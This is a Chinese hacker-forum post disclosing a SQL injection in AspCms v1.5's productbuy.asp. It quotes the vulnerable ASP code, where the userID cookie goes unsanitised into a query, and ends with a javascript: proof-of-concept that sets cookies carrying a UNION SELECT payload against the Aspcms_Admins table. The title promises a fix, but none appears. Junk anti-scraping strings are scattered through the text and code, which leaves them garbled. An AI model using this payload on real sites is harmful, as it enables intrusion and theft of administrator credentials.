找回密码
 立即注册
查看: 2985|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....! P9 J( q9 L: E. v( d8 G
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
9 g/ {. x: p/ L8 O' R废话不多说,看代码:
  _/ P" B6 s7 D9 f4 y
7 r8 t# a4 U0 n9 V/ \<%
# U3 y: J0 x. `9 h: I6 }" I+ z
: e+ b/ x$ j% o- Y' ?if action = "buy" then
1 H+ o/ s' |( _. ]& \9 S, W( k. K" ~0 V  Y4 o9 g: P; o/ J
        addOrder()
# s. A; R0 q6 g3 V- I
- Y: y3 n6 B4 L4 i' b/ ]/ velse
! |/ g" z! P% d) a$ d
$ M9 h+ V8 E$ U5 `& L        echoContent()- L- k' t$ j6 I0 ~2 E

/ c, O: A! A: N0 @3 Send if) W) ^; N  p3 x

$ u$ g1 |5 u- ?) J$ }
& t5 ]# a2 }1 f* d  E1 p: a+ t! X. L2 X! c
……略过8 j7 U/ W( U9 n1 e+ \, N  z5 ?
6 x8 k# w0 Y6 i' K8 _: ~

. a4 Z' s- v1 o, ^+ \2 L* q8 M  F' ]
Sub echoContent()
0 ?/ A" ~9 E' F& ]6 G& V$ m) G1 ^7 V& C; ^
        dim id  t' B$ V+ Q. F4 Q1 m/ P
5 [2 y6 t: G- P! q# Z. J3 x
        id=getForm("id","get")
7 Q* |7 b! S( x( s4 c& y) E1 X  }* Z2 o1 M: R
        6 S7 n- v# i5 m. m  M
4 X9 R7 a; ^+ X5 W6 u- `2 A  {% y8 O
        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
4 e1 v0 }) C. s5 R$ f( c* |, G3 J9 R/ b+ S- l
        
4 |/ F8 L8 a: V+ r0 s7 d& S) i  Q- L, ^9 y
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
+ i5 [; y; ?! c/ X0 W5 Y, Q* [
, h- q: _4 j  C. s) M6 s6 ?        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
( [1 Y0 L. P& r( S% P, b# I
3 e2 y& _" k* K. @1 B& W1 ~        Dim templatePath,tempStr
! v; P# C, @: B. h( u0 O. a/ {# _4 @8 C9 x
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
$ `- u' d% D" S3 X- d3 |  z" o; T) L
  M2 W9 {- p) x) Y9 P  M$ @  v
: f& D! X1 l( |; [. n5 T# c9 @% L: j% X9 O7 }
        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1"); N1 H7 j  q# Q( O3 e0 [( N; f2 m4 F

6 M! m4 U6 Y( Y: X3 C4 i/ z        selectproduct=rsObj(0)2 q1 \  w4 S% @# o
; v% \2 |5 k, W5 N/ t: T
        5 T8 X1 X6 G/ c) o8 q8 p
2 ]* _2 G" m5 G2 s9 l
        Dim linkman,gender,phone,mobile,email,qq,address,postcode: j' J9 E. `7 O$ Y  ~) p

3 i' ?( m/ Q7 T; v- A9 A! O. B        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0; F' x- ^" R& v8 p6 ?0 ^  w
8 @" N! f/ H1 z4 w9 V! l
        if rCookie("loginstatus")=1 then  " a2 _; w" D! D! N9 [

% o# h" [; w7 k+ G# s& R                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
* J+ e6 m/ [6 q8 R* B1 H9 @# d6 S4 |- q5 |$ V
                linkman=rsObj("truename"). @7 z, P, b8 M; Y6 u6 h! r$ D3 Z/ Y

, v6 m2 |* O% ?                gender=rsObj("gender")
3 K  c# m! H0 q# I( J
8 u( F2 c; Q9 t                phone=rsObj("phone")
/ J* J6 T5 v  K- Y/ ~  R4 d7 E7 ]6 |' b( S7 B8 N1 Z. m
                mobile=rsObj("mobile")
* B" P1 `3 ~% b4 S% |! n0 W: C- Z( P2 U8 L) f) \7 f
                email=rsObj("email")
: J  F0 P) o: ]2 _5 n3 c' ?# Q
                qq=rsObj("qq")
" I9 |3 t& @8 ^3 [0 }+ I# b; S& ]% J0 E0 T
                address=rsObj("address")
+ t- Y9 y8 q# I1 W& C9 U5 w
' T: m5 U5 v2 R# W+ i8 _* ?                postcode=rsObj("postcode")$ z: V3 h" X( R' T+ H5 R
* o' G" {' \4 L. u% p6 i: d
        else
, V; Y6 H5 v6 O2 ]. g+ [. b4 S# v7 N8 G  `' j, }1 F: a
                gender=1
2 z! N7 t  H8 O+ J& }; h
9 U) U* Z- X9 [. }6 v        end if8 Z+ t% }: ]  |0 X) W% {3 O6 W

6 }! F9 U6 G1 W9 J( e4 Z! t        rsObj.close()
' _3 n& O3 I, o4 @: t+ P' c5 |  H/ `% s  h' F0 {/ R- A
               
, w2 J3 {% r$ r6 P$ T
* T' _! A; W% }        with templateObj
2 l) W3 r6 u* z
& t& N6 w2 `7 h" w# Y                .content=loadFile(templatePath)        
" I$ y! G, u" g/ \& A6 ^7 m
+ Z. _7 j! \- a                .parseHtml()
5 g. R' m$ v: ]5 a6 E8 P" ?( T
9 W! Y; j- C" u; J9 W  N                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
9 i/ y3 Z9 r# B7 q4 f4 x/ d# r0 b* U1 r, R. ^5 p& ^
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
! c) F5 [9 {  K1 H# Y, Y6 g3 O. b/ g  {6 S6 k, a
                .content=replaceStr(.content,"[aspcms:gender]",gender)                / V) I. n$ \: `2 e6 s$ l6 {6 K0 S

1 Z2 q/ K3 s  o' V" X6 S3 d( P                .content=replaceStr(.content,"[aspcms:phone]",phone)               
; Q" t6 p3 P  m/ t: W: s
* k6 P8 I. Z* `) Q5 A                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
. p% R2 F/ X" q1 Y9 B- O! u! \% @1 p, E% e- y
                .content=replaceStr(.content,"[aspcms:email]",email)                        0 M' t0 H) M6 K* `/ R
/ ]! F: d" J9 \; j, G1 Z$ @( g9 j' t; B( v( D
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
# _7 R& Q2 z; `: H: Z* m* Q1 G+ [6 S: r
                .content=replaceStr(.content,"[aspcms:address]",address)                        
9 W! G$ T- o. C; e) C; |" S1 Z3 y
* e( t' l) F) o- R/ J- D% u4 D                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        $ x' t1 f: Q8 t) x

' _. f0 f* x3 l+ p                .parseCommon()                 ) Z# j8 ?% l: C8 ]. O

; {& h( j9 L# t                echo .content 0 @) \. g+ m$ B! T3 R

6 W5 S9 T. T0 i% B        end with
7 J/ t! k! u( w  D: k( p# |
! b& G8 ~/ E7 K& X6 ]! B: `0 h        set templateobj =nothing : terminateAllObjects2 o$ R  F% ~7 d

' C0 J1 Z( E9 f  `! \! t4 \End Sub
- l+ v3 I6 d: n: {3 q( {) s( P( g' Q3 y漏洞很明显,没啥好说的
0 {8 ~  J/ J5 W$ D9 ]4 x  q5 d8 Y6 Wpoc:
! f+ {: i8 n3 o5 G4 `- K! p7 M5 ~# u/ D" {
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​
1 s! n( w3 x! f( M) ?4 v+ o5 Q, ?/ l: g2 c, x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表